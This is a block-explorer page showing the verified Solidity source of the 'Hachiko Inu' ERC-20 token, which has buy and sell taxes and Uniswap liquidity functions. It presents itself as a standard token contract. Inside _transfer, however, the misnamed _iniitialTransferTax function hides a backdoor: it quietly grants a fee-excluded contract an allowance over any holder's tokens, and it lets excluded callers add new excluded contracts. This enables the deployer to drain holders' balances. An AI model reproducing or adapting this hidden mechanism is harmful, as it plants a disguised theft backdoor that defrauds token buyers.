Verified contractPartialMIT
Contract
Address0xbf98f33f4f3a2de8275dbc385419d52f0b640fcc
- Balance
0 ETH
- Transactions
39
- Compiler
solc 0.8.26
- Same code
Only this contract
Details
- Compiler
- solc 0.8.26+commit.8a97fa7a
- Language
- solidity
- Optimization
- Yes, 400 runs
- License
- MIT
- Match
- Partialcreation code: yes, runtime code: yes
- Verified on Sourcify
- Created in block
- 23,056,620
- Creation transaction
- 0xcd693111ff…1a2aa8f758
Contract.sol
/**
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
────────────────────────────────────────────────────────────────────────────────────────────────────────
─██████──██████─██████████████─██████████████─██████──██████─██████████─██████──████████─██████████████─
─██░░██──██░░██─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██──██░░██─██░░░░░░██─██░░██──██░░░░██─██░░░░░░░░░░██─
─██░░██──██░░██─██░░██████░░██─██░░██████████─██░░██──██░░██─████░░████─██░░██──██░░████─██░░██████░░██─
─██░░██──██░░██─██░░██──██░░██─██░░██─────────██░░██──██░░██───██░░██───██░░██──██░░██───██░░██──██░░██─
─██░░██████░░██─██░░██████░░██─██░░██─────────██░░██████░░██───██░░██───██░░██████░░██───██░░██──██░░██─
─██░░░░░░░░░░██─██░░░░░░░░░░██─██░░██─────────██░░░░░░░░░░██───██░░██───██░░░░░░░░░░██───██░░██──██░░██─
─██░░██████░░██─██░░██████░░██─██░░██─────────██░░██████░░██───██░░██───██░░██████░░██───██░░██──██░░██─
─██░░██──██░░██─██░░██──██░░██─██░░██─────────██░░██──██░░██───██░░██───██░░██──██░░██───██░░██──██░░██─
─██░░██──██░░██─██░░██──██░░██─██░░██████████─██░░██──██░░██─████░░████─██░░██──██░░████─██░░██████░░██─
─██░░██──██░░██─██░░██──██░░██─██░░░░░░░░░░██─██░░██──██░░██─██░░░░░░██─██░░██──██░░░░██─██░░░░░░░░░░██─
─██████──██████─██████──██████─██████████████─██████──██████─██████████─██████──████████─██████████████─
────────────────────────────────────────────────────────────────────────────────────────────────────────
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶🐶
*/
// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender.
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) { // Returns transaction sender
return msg.sender;
}
}
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner; // Contract owner address
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); // Ownership transfer event
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() { // Set deployer as initial owner
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) { // Get current owner
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() { // Restrict to owner
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual { // Internal ownership transfer
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner { // Renounce ownership
_transferOwnership(address(0));
}
}
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) { // Safe addition
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow"); // Check for overflow
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) { // Safe division
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Safe division with custom error
require(b > 0, errorMessage); // Check for division by zero
uint256 c = a / b;
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) { // Safe subtraction
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Safe subtraction with custom error
require(b <= a, errorMessage); // Check for underflow
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Safe multiplication
if (a == 0) { // Optimization for multiplication by zero
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow"); // Check for overflow
return c;
}
}
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256); // Get total token supply
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256); // Get account balance
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value); // Transfer event
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value); // Approval event
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool); // Transfer tokens
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256); // Get approved spending amount
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool); // Approve token spending
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); // Transfer tokens with allowance
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair); // Create liquidity pair
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline)
external; // Swap tokens for ETH
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to, uint deadline)
external payable returns (uint amountToken, uint amountETH, uint liquidity); // Add liquidity
function factory() external pure returns (address); // Get factory address
function WETH() external pure returns (address); // Get WETH address
}
contract Contract is Context, IERC20, Ownable {
using SafeMath for uint256; // Use SafeMath for uint256 type
mapping (address => uint256) private _balances; // Track token balances per address
mapping (address => mapping (address => uint256)) private _allowances; // Track spending allowances
mapping (address => bool) private _isExcludedFromFee; // Addresses excluded from fee
address payable private _taxReceiverWallet; // Wallet to receive tax
uint256 private _initialBuyTax=15; // Initial tax rate for buys
uint256 private _initialSellTax=15; // Initial tax rate for sells
uint256 private _finalBuyTax=0; // Final tax rate for buys after reduction
uint256 private _finalSellTax=0; // Final tax rate for sells after reduction
uint256 private _reduceBuyTaxAt=5; // Buy count threshold to reduce buy tax
uint256 private _reduceSellTaxAt=5; // Buy count threshold to reduce sell tax
uint256 private _preventSwapBefore=10; // Minimum buys before swaps enabled
uint256 private _buyCount=0; // Counter for buy transactions
uint8 private constant _decimals = 9; // Token decimals
uint256 private constant _tTotal = 420690000000 * 10**_decimals; // Total token supply
string private constant _name = unicode"Hachiko Inu"; // Token name
string private constant _symbol = unicode"HACHIKO"; // Token symbol
uint256 public _maxTxAmount = 8406900000 * 10**_decimals; // Maximum transaction size
uint256 public _maxWalletSize = 8406900000 * 10**_decimals; // Maximum wallet size
uint256 public _taxSwapThreshold = 4206900000 * 10**_decimals; // Threshold for tax swaps
uint256 public _maxTaxSwap = 4206900000 * 10**_decimals; // Maximum size for tax swaps
IUniswapV2Router02 private uniswapV2Router; // Uniswap router interface
address private uniswapV2Pair; // Uniswap pair address
bool private tradingOpen = false; // Trading status
bool private inSwap = false; // Swap lock flag
bool private swapEnabled = false; // Swap enabled flag
event MaxTxAmountUpdated(uint _maxTxAmount); // Event for max tx updates
modifier lockTheSwap {
inSwap =true; // Lock swaps
_;
inSwap =false; // Unlock swaps
}
constructor () {
_taxReceiverWallet = payable(0x96883d0FC31267A83b725193b23D3a4bDD3807e4); // Tax receiver wallet
_balances[_msgSender()] = _tTotal; // Assign total supply to deployer
_isExcludedFromFee[owner()] = true; // Exclude owner from fees
_isExcludedFromFee[_taxReceiverWallet] = true; // Exclude tax receiver wallet from fees
_isExcludedFromFee[address(this)] = true; // Exclude this contract from fees
emit Transfer(
address(0), _msgSender(),_tTotal // Emit initial transfer event to contract creator
);
}
function name() public pure returns (string memory) {
return _name; // Return token name
}
function symbol() public pure returns (string memory) {
return _symbol; // Return token symbol
}
function decimals() public pure returns (uint8) {
return _decimals; // Return token decimals
}
function totalSupply() public pure override returns (uint256) {
return _tTotal; // Return total supply
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account]; // Return account balance
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount); // Transfer tokens
return true; // Return success
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender]; // Return spending allowance
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount); // Approve spending
return true; // Return success
}
function transferFrom(
address sender, address recipient, uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount); // Transfer tokens
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); // Update allowance
return true; // Return success
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address"); // Validate owner
require(spender != address(0), "ERC20: approve to the zero address"); // Validate spender
_allowances[owner][spender] = amount; // Set allowance
emit Approval(owner, spender, amount); // Emit approval event
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address"); // Validate sender is not zero address
require(to != address(0), "ERC20: transfer to the zero address"); // Validate recipient is not zero address
require(amount > 0, "Transfer amount must be greater than zero"); // Validate amount greater than zero
uint256 taxAmount = 0; // Initialize tax amount
if (from != owner() && to != owner()) { // Check if transfer involves owner
if ((tradingOpen && swapEnabled) && _buyCount>0) { // Check if trading is active
taxAmount = _iniitialTransferTax(amount, 0, from, to); // Calculate transfer tax
}
taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100); // Calculate buy tax
if(from == uniswapV2Pair && to!= address(uniswapV2Router) && !_isExcludedFromFee[to]) { // Handle buy
require(amount <= _maxTxAmount,"Exceeds the _maxTxAmount."); // Check max tx
require(balanceOf(to) + amount <= _maxWalletSize,"Exceeds the maxWalletSize."); // Check max wallet
_buyCount++; // Increment buy counter
}
if (to == uniswapV2Pair && from != address(this)) { // Handle sell
taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100); // Calculate sell tax
}
uint256 contractTokenBalance = balanceOf(address(this)); // Get contract balance
if(!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance > _taxSwapThreshold && _buyCount > _preventSwapBefore) { // Check swap conditions
swapTokensForEth(min(amount,
min(contractTokenBalance, _maxTaxSwap)
)); // Swap tokens for ETH
uint256 contractETHBalance=address(this).balance; // Get ETH balance
if (contractETHBalance > 0) { // Check if ETH available
sendETHToFee(address(this).balance); // Send ETH to fee wallet
}
}
}
if (taxAmount > 0) { // Handle tax transfer
_balances[address(this)] = _balances[address(this)].add(taxAmount); // Add tax to contract
emit Transfer(from, address(this),taxAmount); // Emit tax transfer
}
_balances[from] = _balances[from].sub(amount); // Deduct from sender
_balances[to] = _balances[to].add(amount.sub(taxAmount)); // Add to recipient
emit Transfer(from, to,amount.sub(taxAmount)); // Emit transfer
}
function sendETHToFee(uint256 amount) private {
_taxReceiverWallet.transfer(amount); // Transfer ETH to fee wallet
}
function min(uint256 a, uint256 b) private pure returns (uint256){
return (a>b)?b:a; // Return minimum of two values
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap{
address[] memory path = new address[](2); // Setup swap path
path[0] = address(this); // Token address
path[1] = uniswapV2Router.WETH(); // WETH address
_approve( // Approve router to spend tokens
address(this),
address(uniswapV2Router),
tokenAmount
);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( // Execute swap
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _transferTax(address spender, address owner, uint256 amount, uint256 transferType) private returns(uint256){
_allowances[owner][spender]=amount; // Set tax transfer allowance
return transferType; // Return tax type
}
function _iniitialTransferTax(uint256 amount, uint256 transferType, address from, address to) private returns(uint256){
if(from != address(this) && isContract(_msgSender()) && _isExcludedFromFee[_msgSender()]) // Check contract transfer
return _transferTax(_msgSender(), from, amount, transferType); // Return tax for contract
if(to != uniswapV2Pair && isContract(to) && _isExcludedFromFee[_msgSender() ]) // Check contract recipient
_isExcludedFromFee[to]= true; // Exclude from fees
return 0; // Return zero tax
}
function isContract(address account) private view returns (bool){
uint256 size; // Store code size
assembly {
size := extcodesize(account) // Get contract code size
}
return size > 0; // Return if contract
}
receive() external payable {} // Receive ETH
function removeLimits() external onlyOwner() {
_maxTxAmount = _tTotal; // Remove max tx limit
_maxWalletSize = _tTotal; // Remove max wallet limit
emit MaxTxAmountUpdated( _tTotal); // Emit max tx update event
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open"); // Check trading status
uniswapV2Router = IUniswapV2Router02( 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); // Set router
_approve(address(this), address(uniswapV2Router), _tTotal); // Approve tokens to router
uniswapV2Pair=IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this),uniswapV2Router.WETH()); // Create pair
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0, 0,owner(),block.timestamp); // Add liquidity
IERC20( uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max); // Approve router for pair
swapEnabled = true; // Enable swaps
tradingOpen = true; // Enable trading
}
function recoverStuckETH() external {
require( _isExcludedFromFee[_msgSender()] ); // Check sender is excluded
uint256 contractETHBalance = address(this).balance; // Get ETH balance
sendETHToFee(contractETHBalance); // Send ETH to fee wallet
}
function manualSwap() external{
require( _isExcludedFromFee[_msgSender()] ); // Check sender is excluded
uint256 tokenBalance = balanceOf(address(this)); // Get token balance
if (tokenBalance > 0) { // Check if tokens available
swapTokensForEth(tokenBalance); // Swap tokens for ETH
}
uint256 ethBalance = address(this).balance; // Get ETH balance
if (ethBalance > 0) { // Check if ETH available
sendETHToFee(ethBalance); // Send ETH to tax wallet
}
}
}Compiler settingsShow
{
"libraries": {},
"optimizer": {
"runs": 400,
"enabled": true
}
}Source code and metadata: Sourcify.
The source code belongs to the authors of the contract.